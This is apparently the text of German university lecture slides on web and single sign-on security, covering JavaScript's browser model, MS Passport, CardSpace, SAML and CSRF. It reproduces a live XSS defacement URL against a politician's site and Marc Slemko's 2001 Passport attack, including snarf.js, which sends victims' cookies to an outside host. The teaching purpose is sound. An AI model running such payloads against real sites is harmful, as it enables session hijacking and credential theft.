XSS mit iframe http://www.wolfgang-schaeuble.de/?search=%3c/strong%3e%3c/div%3e%3cdiv%20style=position:absolute;left:8pt;top:0pt; backgroundcolor:white;width:95%;%3e24.05.2008%3c/div%3e%3cdiv%3e%3ch2%3ebundesinnen minister%20tritt%20zur%fcck%3c/h2%3e%3cp%3ew%e4re%20eine%20meldung,%20 die%20sicher%20viele%20gerne%20lesen%20w%fcrden.%20allerdings%20handelt%20e s%20sich%20nur%20um%20eine%20cross-site-scripting- Schwachstelle%20im%20der%20Webseite%20des%20Politikers,%20der%20gerne%20die %20Online- Durchsuchung%20einf%FChren%20m%F6chte.%20Scherzbolde%20k%F6nnen%20dadurc h%20beliebige%20meldungen%20unter%20der%20dom%e4ne%20wolfgangschaeuble.de%20erstellen.%3c/p%3e%3cp%3eder%20fehler%20liegt%20in%20der%20 Suchfunktion%20des%20Internetauftritts,%20die%20HTML- %20und%20Skriptcode%20in%20Anfragen%20nicht%20ausfiltert.%20Gr%FC%DFe%20a n%20dmk.%3c/p%3e%3c/div%3e%3cdiv%20style=display:none%3e%3cstrong%3e&i d=38&no_cache=1 Quelle: http://www.heise.de/security/cross-site-scripting-vereint-schaeuble-und-die-linke--/news/meldung/108557

Beispiel: Cross-Site-Scripting Beispiel ebay Phisher erstellt Angebot Bettet im Angebot bösartigen Code ein Code kompromittiert Bieten- Button Benutzer wird zur Eingabe seiner Zugangsdaten aufgefordert, wobei diese Seite vom Angreifer stammt Benutzer gibt seine Zugangsdaten preis Quelle: http://www.heise.de/security/ihr-ebay-passwort-3-2-1-meins-update--/news/meldung/54272 66

Einbettung <SCRIPT Language=JavaScript> breite = 35; function f(text) { document.writeln(text); } </SCRIPT> <FORM> <INPUT Type=text Size=&{breite};><BR> <INPUT Type=button onclick="confirm('ok drücken!')" Value=&{s=0; for(i=1; i<=5000; i++) s+=i;};> </FORM> <HR Align=left Width=&{10*breite;};> <A Href="javascript:alert('Hallo!')">Sag Hallo</A> Markup Entity Attribut Entity Entity URL 67

Einbettung 68

Browsermodell Javascript manipuliert seine/ihre Umgebung mit Hilfe von vordefinierten Objekten Das rechte Bild zeigt den Anfang dieser Objekthierarchie Objektreferenzen: Selfhtml Unterschiede bei NS und IE W3C standardisiert DOM Quelle: www20.pair.com/doozer/gu ides/ javascript/js_014.html 69

Browsermodell Window: das aktuellefenster parent: das übergeordnete Fenster eines Frameset; muss ein Frameset sein top: die Wurzel des Fensterbaumes eines Frameset; bei nur einem Frame das Fenster selbst self: identisch mit window frames[i]: i-ter Frame eines Frameset 70

Browsermodell history: die Browser- Historie der zuvor besuchten Seiten (wichtig für Forward/Back) location: die URL, ggf. einschließlich des Query- Strings document: das HTML- Dokument title: Titel des Dokuments anchors[i]: i-ter Anker forms[i]: i-tes Formular links[i]: i-ter Hyperlink 71

5. Browsermodell Beispiel window-methoden: alert(), confirm(), prompt() <SCRIPT Language=JavaScript> alert("alarmfenster"); l = confirm("bestätigungsfenster"); document.writeln(l); x = prompt("eingabefenster", "Nein"); document.writeln(x); </SCRIPT> 72

5. Browsermodell Beispiel window-methoden: open(), close() <FORM> <INPUT Type=button Value="Öffne Fenster" onclick=oeffne()> </FORM> <SCRIPT Language=JavaScript> function oeffne() { var attr = "resizable=yes,width=300,height=200"; var x = window.open(null, null, attr); // leeres Fenster öffnen x.document.open(); x.document.write("<h4 Align=center>Titel</H4>\n"); x.document.write("<form><input Type=button Value=CloseIT"); x.document.write( " onclick=window.close()></form>\n"); x.document.close();} </SCRIPT> 73

5. Browsermodell Beispiel Frames: setinterval() <FRAMESET Cols="250,*" Border=4> <FRAME Name=links Src=links.html> <FRAME Name=rechts Src=empty.html> </FRAMESET> <!--./frames/empty.html --> <BODY Bgcolor=white> 74

5. Browsermodell Beispiel Frames <!--./frames/links.html --> <FORM> <INPUT Type=text Name=end Value=1> <INPUT Type=text Name=tor Value=1> <INPUT Type=button Name=los Value=Loos! onclick=rechne(this)> </FORM><PRE> <SCRIPT Language=JavaScript> function rechne(t) { var a = parsefloat(t.form.end.value) var b = parsefloat(t.form.tor.value); with (parent.rechts.document) { open(); writeln("a = " + a + "<BR>b = " + b); writeln("<br>summe = " + (a + b)); close();} } </SCRIPT> 75

5. Browsermodell Beispiel Formulare <FORM Name=meinformular Method=GET Action=eins.html> <INPUT Type=button Name=knopf Value=Knopf> <INPUT Type=text Name=text Value=42> <SELECT Name=wahl> <OPTION>eins <OPTION>zwei</SELECT> <INPUT Type=submit Name=submit Value=Los> </FORM> <SCRIPT Language=JavaScript> document.meinformular.onsubmit = function() { return confirm("wirklich losschicken?"); } </SCRIPT> 76

Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 77

MS Passport: CSS-Angriff von Marc Slemko CSS: Cross-Site Scripting Quelle: Microsoft Passport to Trouble Marc Slemko <marcs@znep.com> Last Modified: $Date: 2001/11/05 03:03:39 $ $Revision: 1.18 $ http://alive.znep.com/~marcs/passport/ 78

MS Passport: CSS-Angriff von Marc Slemko Schritt 1: Senden einer E-Mail and die Hotmail-Adresse des Opfers. From: Jennifer Sparks <xxx@xxx.xxxx> To: opfer@hotmail.com Content-type: text/html Subject: Jack said I should email you... Hi Ted. Jack said we would really hit it off. Maybe we can get together for drinks sometime. Maybe this friday? Let me know. <BR> <BR> <HR> You can see the below for demonstration purposes. In a real exploit, you wouldn't even see it happening. <HR> <BR> <_img foo="<iframe width='80%' height='400' src='http://alive.znep.com/~marcs/passport/grabit.html'>< /IFRAME>" > 79

MS Passport: CSS-Angriff von Marc Slemko Schritt 1: Senden einer E-Mail and die Hotmail-Adresse des Opfers. alive.znep.com hotmail.com opfer@hotmail.com passport.com 80

MS Passport: CSS-Angriff von Marc Slemko Schritt 2: Einloggen des Opfers bei Hotmail. alive.znep.com 1 2 5 3 hotmail.com opfer@hotmail.com 4: Ticket granting Cookie für passport.com passport.com/ppsecure 81

MS Passport: CSS-Angriff von Marc Slemko Schritt 3: Öffnen der E-Mail und Laden des IFrame mit der Datei grabit.html. <HTML><HEAD><TITLE>Wheeeee</TITLE> <frameset rows="200,200"> <FRAME NAME="me1" SRC="https://register.passport.com/ppsecure/404please"> <FRAME NAME="me2" SRC="https://register.passport.com/reg.srf? ru=https://ww.passport.com/%22%3e%3cscript%20 src='http://alive.znep.com/~marcs/passport/snarf.js %3Ej%3C/SCRIPT%3E%3Flc%3D1033"> </FRAMESET> </HTML> 82

MS Passport: CSS-Angriff von Marc Slemko Schritt 3: Öffnen der E-Mail und Laden des IFrame mit der Datei grabit.html. alive.znep.com 2: Laden von grabit.html 1: Laden der E-Mail hotmail.com opfer@hotmail.com passport.com 83

MS Passport: CSS-Angriff von Marc Slemko Schritt 3: Öffnen der E-Mail und Laden des IFrame mit der Datei grabit.html. http://www.hotmail.com 1 2 alive.znep.com From: Jennifer Sparks <xxx@xxx.xxxx> Hi Ted.. grabit.html hotmail.com opfer@hotmail.com passport.com 84

MS Passport: CSS-Angriff von Marc Slemko Schritt 4: Laden von ppsecure/404please und snarf.js. <HTML><HEAD><TITLE>Wheeeee</TITLE> <frameset rows="200,200"> <FRAME NAME="me1" SRC="https://register.passport.com/ppsecure/404please"> <FRAME NAME="me2" SRC="https://register.passport.com/reg.srf? ru=https://ww.passport.com/%22%3e%3cscript%20 src='http://alive.znep.com/~marcs/passport/snarf.js %3Ej%3C/SCRIPT%3E%3Flc%3D1033"> </FRAMESET> </HTML> 85

MS Passport: CSS-Angriff von Marc Slemko Schritt 4: Laden von ppsecure/404please und snarf.js. 2 5 alive.znep.com http://www.hotmail.com From: Jennifer Sparks <xxx@xxx.xxxx> Hi Ted.. grabit.html ppsecure/404please register.passport.com/reg.srf snarf.js 1 hotmail.com 3 4 opfer@hotmail.com passport.com 86

MS Passport: CSS-Angriff von Marc Slemko Schritt 5: Ausführen von snarf.js und Stehlen des Ticket Granting cookie. s = new String(document.URL); if (s.indexof('http:') == 0) { } else { } settimeout('document.location="https:" + s.substring(5, s.length-1, 1000)'); document.location="http://alive.znep.com/~marcs/ passport/snarf.cgi?cookies=" + escape(parent.frames[0].document.cookie); 87

MS Passport: CSS-Angriff von Marc Slemko Schritt 5: Ausführen von snarf.js und Stehlen des Ticket Granting cookie. http://www.hotmail.com From: Jennifer Sparks <xxx@xxx.xxxx> alive.znep.com Ticket granting Cookie Hi Ted.. grabit.html ppsecure/404please register.passport.com/reg.srf snarf.js hotmail.com opfer@hotmail.com passport.com 88

Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 89

Ausblick MS Cardspace ist der Nachfolger von MS Passport Identitäten und Geheimnisse werden als Karten verwaltet 90

MS Passport: Generic Weaknesses Browser Server Kerberos Server Request Data Redirect: Authorization req. Cookie(c) SSL Handshake with(out) Server Authentication Redirect + Set-Cookie(c = Enc (ticket)) KS SSL Handshake with(out) Server Authentication Access Cookie c by Cross Site Scripting Data Access Cookie c by DNS/PKI spoofing 91

MS Cardspace 2c Click Client Browser HTTP/GET to protected page 1a 1b 2a 2b 3 HTTPS/GET to login page GetBrowserToken(RP Policy) 4 Select Identity Identity Selector HTTP/redirect to login page HTTPS login page Relying Party Policy HTML information card tag Identity Provider 9 10 11 Identity needs credentials 5 6 7 8 Return security token HTTPS/POST with security token WS-MEX GetMetadata Request WS-MEX GetMetadata Response WS-Trust RST Request (user credentials) WS-Trust RSTR Response (security token) Token Our Attack: Access Security Token through dynamic Pharming HTTP/redirect with session cookie Quelle: Microsoft 92

SAML Artifact Profile Browser Server SAML Server Request Data Redirect:SAML Token req. SSL Handshake with(out) Server Authentication Authenticate and Request SAML Token Redirect + Send SAML Artifact Access SAML Artifact by Cross Site Scripting SSL Handshake SAML Artifact SAML Artifact SAML Token Data Generate and store SAML token Access SAML Artifact by DNS/PKI spoofing Quelle: Microsoft 93

Securing SSO Protocols Browser Server Kerberos Server Request Data Redirect: Authorization req. Cookie(c) SSL Handshake with Client Authentication Key PK C Redirect + Set-Cookie(c = Enc KS(PK C)) SSL Handshake with Client Authentication Key PK C Data Dec KS(c) = PK C? 94

Securing SSO Protocols Browser Server Kerberos Server Request Data Redirect: Authorization req. Cookie(c) Data SSL Handshake with Client Authentication Key PK C Redirect + Set-Cookie(c = Enc KS(PK C)) SSL Handshake with Client Authentication Key PK C Dec KS(c) = PK C? Cookie c can still be stolen via XSS or DNS/PKI spoofing... but it is now bound to the browser! 95

Ausblick: Cross Site Request Forgery Schritt 2: Einloggen des Opfers bei Hotmail. 1: Login auf NY Times Webseite 3: http-link (z.b. in einem <img>-tag) enthält Query-String mit dem Befehl, eine E-Mail an collect@attacker.org zu senden. nytimes.com Victim 2: Anschauen der Webseite des Angreifers http://www.freedom-to-tinker.com/blog/wzeller/popularwebsites-vulnerable-cross-site-request-forgery-attacks attacker.org 96

Ausblick: Cross Site Request Forgery 1. ING Direct (ingdirect.com) Status: Fixed 2. YouTube (youtube.com) Status: Fixed 3. MetaFilter (metafilter.com) Status: Fixed 4. The New York Times (nytimes.com) Status: Fixed. http://www.freedom-to-tinker.com/blog/wzeller/popularwebsites-vulnerable-cross-site-request-forgery-attacks 97